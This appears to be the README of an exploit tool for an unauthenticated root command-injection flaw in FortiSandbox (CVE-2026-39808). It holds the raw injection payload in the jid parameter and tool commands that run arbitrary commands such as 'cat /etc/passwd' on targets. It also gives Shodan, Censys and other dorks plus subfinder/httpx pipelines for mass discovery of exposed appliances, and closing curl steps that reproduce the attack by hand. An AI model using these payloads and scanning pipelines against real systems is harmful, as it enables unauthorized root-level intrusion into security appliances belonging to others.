GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

# التحقق مما إذا كان الهدف معرضًا للثغرة (يستخدم اكتشافًا قائمًا على الكناري)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

# تنفيذ أمر محدد على الهدف
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

# التحقق فقط من وجود الثغرة، دون تنفيذ --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

python3 fortisandbox_rce.py -u https://target.com -o report.json

# من قائمة عناوين URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → الماسح
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → الماسح
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           عنوان URL الهدف
  --stdin                 قراءة عناوين URL من stdin (وضع خط الأنابيب)
  --cmd CMD               أمر نظام التشغيل للتنفيذ (الافتراضي: id)
  --verify-only           التحقق فقط من الثغرة، دون تنفيذ --cmd
  --proxy PROXY           وكيل HTTP (مثال: http://127.0.0.1:8080)
  --timeout TIMEOUT       مهلة HTTP بالثواني (الافتراضي: 15)
  --rate-limit RATE_LIMIT التأخير بين الأهداف بالمللي ثانية (الافتراضي: 0)
  -o, --output FILE       ملف تقرير JSON للإخراج
  --no-banner             إخفاء الشعار

الخطوة 1  →  اكتشاف FortiSandbox (بصمة العنوان/الترويسة)
الخطوة 2  →  التحقق من وجود نقطة النهاية المعرضة للثغرة
الخطوة 3  →  حقن سلسلة كناري فريدة عبر حقن الأوامر
الخطوة 4  →  قراءة /ng/out.txt والتحقق من الكناري (تحقق صارم من النص العادي)
الخطوة 5  →  تنفيذ أمر المستخدم + التنظيف

  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ تم اكتشاف FortiSandbox!
  ▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
  ▸ حالة نقطة النهاية: 200 | نوع المحتوى: text/html
  ▸ حقن الكناري: mitsec_a8k3m2x1
  ▸ قراءة المخرجات: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ تم التحقق من الكناري 'mitsec_a8k3m2x1' في المخرجات (نص عادي نظيف)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ تم تنظيف ملف المخرجات

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ تم اكتشاف FortiSandbox!
  ▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
  ✗ أعادت نقطة النهاية 404 — غير معرضة للثغرة أو تم تصحيحها

  ▸ قراءة المخرجات: https://target.com/ng/out.txt
  ⚠ يعيد عنوان URL للإخراج صفحة HTML — هذه هي Angular SPA، وليست مخرجات أوامر
  ▸ نوع المحتوى: text/html
  ▸ هذه إيجابية كاذبة — /ng/out.txt يخدم ملف index.html الخاص بـ SPA
  ▸ لا يبدو أن الهدف معرض للثغرة

{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

# العثور على الأهداف المعرضة وحفظها
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# الربط مع nuclei لمزيد من الاختبارات
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# مسح جماعي صامت مع تحديد معدل
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

services.http.response.html_title:"FortiSandbox"

title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

intitle:"FortiSandbox - Please login"

# الخطوة 1: حقن الأمر
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# الخطوة 2: قراءة المخرجات
curl -s -k "https://TARGET/ng/out.txt"
# المتوقع: uid=0(root) gid=0(root) groups=0(root)